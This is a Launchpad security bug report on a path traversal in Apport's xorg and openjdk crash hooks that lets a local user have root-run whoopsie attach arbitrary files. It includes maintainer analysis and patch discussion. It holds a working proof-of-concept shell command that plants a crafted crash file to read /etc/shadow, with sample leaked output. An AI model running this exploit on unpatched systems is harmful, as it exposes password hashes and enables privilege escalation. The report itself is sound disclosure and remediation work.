Path traversal leads to arbitrary file read

Bug #1933832 reported by mal on 2021-06-28

This bug affects 1 person 260

Affects	Status	Importance	Assigned to	Milestone
Apport	Fix Released	Critical	Unassigned	Apport 2.21.0
apport (Ubuntu)	Fix Released	Undecided	Unassigned	
openjdk-13 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-14 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-15 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-16 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-17 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-18 (Ubuntu)	Won't Fix	Undecided	Unassigned	
openjdk-8 (Ubuntu)	Won't Fix	Undecided	Unassigned	
xorg (Ubuntu)	Won't Fix	Undecided	Unassigned	

Bug Description

While reiterating the issues reported in https://bugs.launchpad.net/bugs/1917904, Stephen Röttger (@_tsuro) mentioned, that the second issue "Arbitrary file read in package-hooks/source_xorg.py (Info)" might additionally contain a path traversal vulnerability. This was confirmed by developing a PoC, that enables a user to read arbitrary files in the context of the root user, leading to elevation of privileges. Exploiting this issue requires, that automatic crash reporting is enabled.

The following excerpt of the file `package-hooks/source_xorg.py` shows the vulnerable code:

```
if True or report.get('SourcePackage','Unknown') == "compiz" and
"ProcStatus" in report:
    compiz_pid = 0
    pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"]) # [0]
    if pid_line:
        compiz_pid = pid_line.groups()[0]
    compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid # [1]
    attach_file_if_exists(report, compiz_state_file, "compiz_internal_
states")
```

While in [0] the `pid_line` is extracted, this value (if successfully matched) is appended to the file path resulting in `compiz_state_file` [1], which is subsequently attached to the crash file.
Using a `Pid` such as `JRN/../../../../etc/shadow` therefore results in the file `/etc/shadow` being attached (after creating the directory `/tmp/compiz_internal_stateJRN`).

The following POC (tested on 20.04/21.04 Desktop) exploits this issue to read the file `/etc/shadow`:

```
mkdir /tmp/compiz_internal_stateJRN/;pid=$'\tJRN/../../../etc/shadow';cat
<< EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF
```

When reading the crash file (after `whoopsie-upload-all` ran), the contents of the file `/etc/shadow` are indeed attached:

```
grep -A3 compiz_internal /var/crash/poc.crash
compiz_internal_states:
 root:!:18393:0:99999:7:::
 daemon:*:18375:0:99999:7:::
 bin:*:18375:0:99999:7:::
```

Please credit Stephen Röttger (@_tsuro) in a potential CVE/USN.

Best regards,
Maik

Tags: patch

Related branches

lp:~ubuntu-core-dev/ubuntu/impish/apport/ubuntu

CVE References

2021-3709

2021-3710

Alex Murray (alexmurray) wrote on 2021-06-30: #1

Thanks for reporting this issue - this file comes from the xserver-xorg source package so I am adding that as an affected package - I also see there is a similar pattern in apport/ui.py itself, plus the openjdk source packages all have similar logic there too and would likely be affected as well.

In this case it could easily be handled by changing these scripts to be more strict when parsing out the Pid, as follows::

```
pid_line = re.search("Pid:\t([0-9]+)\n", report["ProcStatus"])
```

I'll look at constructing patches based on this approach.

Alex Murray (alexmurray) wrote on 2021-06-30: #2

Download full text (5.4 KiB)

For future reference, the other source packages were identified via debian codesearch and looking at unpacked sources for apport and openjdk etc:

```
codesearch-cli '\bPid:\\t\(\.\*\)'
path: openjdk-11_11.0.12+4-1/debian/apport-hook.py
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
path: openjdk-17_17~27-1/debian/apport-hook.py
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
path: openjdk-15_15.0.3+3-1/debian/apport-hook.py
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
path: openjdk-16_16.0.1+9-1/debian/apport-hook.py
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
path: openjdk-8_8u292-b10-3/debian/apport-hook.py
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
--
Files grepped: 8

$ rg 'Pid:\\t\(\.\*\)' *
xorg/bionic/xorg-7.7+19ubuntu7.1/debian/source_xorg.py
432: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

xorg/impish/xorg-7.7+22ubuntu1/debian/source_xorg.py
432: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

xorg/focal/xorg-7.7+19ubuntu14/debian/source_xorg.py
432: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

xorg/hirsute/xorg-7.7+22ubuntu1/debian/source_xorg.py
432: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

xorg/groovy/xorg-7.7+19ubuntu15/debian/source_xorg.py
432: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/bionic/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/groovy/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/focal/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/impish/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/xenial/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-8/hirsute/openjdk-8-8u292-b10/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-18/impish/openjdk-18-18~2/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-15/hirsute/openjdk-15-15.0.3+3/debian/apport-hook.py
24: pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])

openjdk-15/groovy/openjdk-15-15.0.3+3/debian/apport-hook.py
24: ...
```

Read more...

Alex Murray (alexmurray) wrote on 2021-06-30: #3

Download full text (3.3 KiB)

I also went looking for instances of attach_file() which may be vulnerable to this type of attack (ie using a computed filename that may be able to be influenced by untrusted content from the report) by searching for calls to this across the entire debian archive which use a variable name for the file-name argument:

```
$ codesearch-cli "attach_file(_if_exists)?\(report($|,$|, [a-z])"
path: grub2_2.04-19/debian/apport/source_grub2.py
                    and not check_shell_syntax(fullpath):
                     invalid_grub_script.append(fullpath)
     91 attach_file(report, fullpath)
path: gnome-shell_3.38.4-1/debian/source_gnome-shell.py
               monitors = os.path.expanduser('~/.config/monitors.xml')
     28 attach_file_if_exists(report, monitors, 'monitors.xml')
path: dkms_2.8.4-4/dkms_apport.py
        report['PackageVersion'] = version
        report['Title'] = "%s %s: %s kernel module failed to build" %
(package, version, options.module)
     84 attach_file_if_exists(report, make_log, 'DKMSBuildLog')
path: dkms_2.8.4-4/dkms_apport.py
        if report['SourcePackage'] == 'fglrx-installer':
            fglrx_make_log = os.path.join('/var','lib','dkms',options.
module,options.version,'build','make.sh.log')
     80 attach_file_if_exists(report, fglrx_make_log, 'FglrxBuildLog')
path: shim-signed_1.37/debian/source_shim-signed.py
```

apport_2.20.11-0ubuntu65.2.debdiff

Add patch

```
            attach_file(report, '/proc/sys/kernel/moksbstate_disabled')
            attach_file(report, sb_var)
     55 attach_file(report, mok_var)
path: shim-signed_1.37/debian/source_shim-signed.py
            attach_file(report, '/proc/sys/kernel/moksbstate_disabled')
     54 attach_file(report, sb_var)
path: plank_0.11.89-3/data/apport/source_plank.py
        def add_info(report, ui=None):
     27 attach_file_if_exists(report, path.expanduser('~/.config/
plank/dock1/settings'), 'DockSettings')
path: gnome-shell-xrdesktop_3.36.1-2/debian/source_gnome-shell.py
                monitors = os.path.expanduser('~/.config/monitors.xml')
     28 attach_file_if_exists(report, monitors, 'monitors.xml')
path: conky_1.11.6-2/debian/conky.py
                conkyrc_path = path.expanduser('~/.conkyrc')
                if path.exists(conkyrc_path):
     17 attach_file(report, conkyrc_path)
path: conky_1.11.6-2/debian/conky.py
                                        open(conkyrc_path).read(),
                                        re.MULTILINE):
     21 attach_file_if_exists(report, file)
path: vsftpd_3.0.3-13/debian/vsftpd.apport
                attach_conffiles(report,'vsftpd')
     30 attach_file_if_exists(report, os.path.expanduser('/var/log/vsftpd.
log'), 'vsftpd.log')
path: rednotebook_2.21+ds-1/debian/source_rednotebook.py
            for (key, name) in LOGS:
                log = path.join(rednotebook_dir, name)
     22 attach_file_if_exists(report, log, key)
path: shotwell_0.30.11-1/apport/shotwell.py
        def add_info(report):
            log_file = os.path.expanduser('~/.cache/shotwell/shotwell.
log')
      6 apport.hookutils.attach_file_if_exists(report, log_file,
'shotwell.log')
```

Of these, the conky script also appear...

Read more...

Alex Murray (alexmurray) wrote on 2021-07-01: #4

The conky apport script is not able to be expoited - whilst we can create a ~/.conkyrc specifying to load /etc/shadow say and then create a crash report to try and trigger this to occur:

```
echo "lua_load /etc/shadow" >> ~/.conkyrc

cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: conky 123
SourcePackage: conky
ProcStatus:
 Pid:1000
 Uid:1000
EOF
```

When say whoopsie-upload-all runs, it either runs as a standard user - who does not have permission to read /etc/shadow - or it could run as root if say triggered by the system administrator - however in this case, since the script has:

```
conkyrc_path = path.expanduser('~/.conkyrc')
```

it will try and load /root/.conkyrc not one from the unprivileged user - hence there doesn't appear to be any way to use this to escalate privileges.

mal (mallle) wrote on 2021-08-02: #5

I kindly wanted to asked if there are any updates on this issue?

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #6

The problem here is that while apport runs as the user and attach_file is being run with appropriate privileges, whoopsie is being run as root. When most of the hooks were written, it was assumed that they would be run unprivileged.

I think we should handle this in apport itself by modifying attach_file to perform the following checks:

1- If running as root, check if the file is world-readable, if not, don't attach it
2- Don't follow symlinks
3- Strip directory traversal strings like /./ and /../

This would allow us to fix the issue in apport itself and not have to fix every instance of attach_file in every package.

Thoughts?

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #7

Actually, /./ doesn't matter....and we should simply reject paths that contain /../ rather than try and strip them.

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #8

If we do check if the file is world-readable, we'll have to do it for all directories in the path too...

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #9

OK, on second thought, I don't think doing #1 makes sense as we will be missing a bunch of log files from user directories that may be useful. Apport hooks need to be aware that they may either be running as the user

when being processed by the Apport GUI, or they may be running as root
when being processed by whoopsie.

I do think we should implement #2 and #3 though.

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #10

Apport hookutils' read_file() already implements #2, so we only need to
prevent directory traversal.

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #11

read_file() only checks the basename for symlinks, so, in the case of
openjdk and xorg, the apport hook can still be exploited even without
directory traversal:

openjdk:

```
            path = "%s/hs_err_pid%s.log" % (cwd, pid)
            # make sure if exists
            if os.path.exists(path):
                content = read_file(path)
```

cwd could be /home/attacker, /home/attacker/hs_err_pid could be a symlink
to some other system directory, and pid can be an arbitrary filename. This
would allow a root-owned file ending in .log to be read.

Code in xorg is similar, but being hardcoded to '/tmp/compiz_internal_
state%s' means it will likely be prevented if kernel symlink restrictions
are enabled.

Marc Deslauriers (mdeslaur) wrote on 2021-08-13: #12

apport_2.20.11-0ubuntu65.2.debdiff (5.1 KiB, text/plain)

Here is a possible debdiff for review. I've asked for a CVE to be assigned
to this bug and the other one.

Alex Murray (alexmurray) wrote on 2021-08-15: #13

Thanks for picking this up Marc - yep I think this is a great idea - short
of re-architecting the whole of apport/whoopsie :)

Steve Beattie (sbeattie) wrote on 2021-08-16: #14

Please use CVE-2021-3710 for this issue. Thanks!

Seth Arnold (seth-arnold) wrote on 2021-08-20: #15

I think this will leak the fd in the event the error is hit:

```
         fd = os.open(path, os.O_NOFOLLOW | os.O_RDONLY | os.O_NONBLOCK)
         st = os.fstat(fd)
+ # make sure there are no symlinks in the full path
+ real_path = os.path.realpath(path)
+ if st.st_ino != os.stat(real_path).st_ino or path != real_path:
+ return 'Error: path contained symlinks.'
```

Thanks

Marc Deslauriers (mdeslaur) wrote on 2021-08-20: #16

Ah! Yes, thanks for that, I'll fix it up.

Seth, do you think the approach I used to resolve symlinks by looking up
the inode is a sane one?

Marc Deslauriers (mdeslaur) wrote on 2021-08-26: #17

FYI, I've discovered a small regression with the proposed debdiff, I'm
still working on it.

Marc Deslauriers (mdeslaur) wrote on 2021-09-07: #18

I propose we publish these updates on 2021-09-14.

That will allow us to perform the final testing of these updates this
week.

Please advise if that public date is problematic.

Thanks!

Launchpad Janitor (janitor) wrote on 2021-09-14: #19

This bug was fixed in the package apport - 2.20.11-0ubuntu65.3

```
apport (2.20.11-0ubuntu65.3) hirsute-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file read (LP: #1934308)
    - data/general-hooks/ubuntu.py: don't attempt to include emacs
      byte-compilation logs, they haven't been generated by the emacs
      packages in a long time.
    - CVE-2021-3709
  * SECURITY UPDATE: Info disclosure via path traversal (LP: #1933832)
    - apport/hookutils.py, test/test_hookutils.py: detect path traversal
      attacks, and directory symlinks.
    - CVE-2021-3710

 -- Marc Deslauriers <email address hidden> Thu, 26 Aug 2021 10:55:40
-0400

Changed in apport (Ubuntu):
 status:New → Fix Released
```

Launchpad Janitor (janitor) wrote on 2021-09-14: #20

This bug was fixed in the package apport - 2.20.11-0ubuntu27.20

---

apport (2.20.11-0ubuntu27.20) focal-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file read (LP: #1934308)
    - data/general-hooks/ubuntu.py: don't attempt to include emacs
      byte-compilation logs, they haven't been generated by the emacs
      packages in a long time.
    - CVE-2021-3709
  * SECURITY UPDATE: Info disclosure via path traversal (LP: #1933832)
    - apport/hookutils.py, test/test_hookutils.py: detect path traversal
      attacks, and directory symlinks.
    - CVE-2021-3710

 -- Marc Deslauriers <email address hidden> Thu, 26 Aug 2021 10:30:01
-0400

Changed in apport (Ubuntu):
status:New → Fix Released

Launchpad Janitor (janitor) wrote on 2021-09-14: #21

This bug was fixed in the package apport - 2.20.9-0ubuntu7.26

---

apport (2.20.9-0ubuntu7.26) bionic-security; urgency=medium

  * SECURITY UPDATE: Arbitrary file read (LP: #1934308)
    - data/general-hooks/ubuntu.py: don't attempt to include emacs
      byte-compilation logs, they haven't been generated by the emacs
      packages in a long time.
    - CVE-2021-3709
  * SECURITY UPDATE: Info disclosure via path traversal (LP: #1933832)
    - apport/hookutils.py, test/test_hookutils.py: detect path traversal
      attacks, and directory symlinks.
    - CVE-2021-3710

 -- Marc Deslauriers <email address hidden> Thu, 26 Aug 2021 10:56:33
-0400

Changed in apport (Ubuntu):
status:New → Fix Released

Marc Deslauriers (mdeslaur) wrote on 2021-09-14: #22

Updates have now been released:

https://ubuntu.com/security/notices/USN-5077-1

Thanks!

Marc Deslauriers (mdeslaur) on 2021-09-16

information type:Private Security → Public Security

Ubuntu Foundations Team Bug Bot (crichton) on 2021-09-16

tags:added: patch

Marc Deslauriers (mdeslaur) on 2021-09-23

Changed in openjdk-13 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-14 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-15 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-16 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-17 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-18 (Ubuntu):
   status:New → Won't Fix
Changed in openjdk-8 (Ubuntu):
   status:New → Won't Fix
Changed in xorg (Ubuntu):
   status:New → Won't Fix

Benjamin Drung (bdrung) on 2022-06-27

Changed in apport:
importance:Undecided → Critical
 milestone:none → 2.21.0
    status:New → Fix Released

See full activity log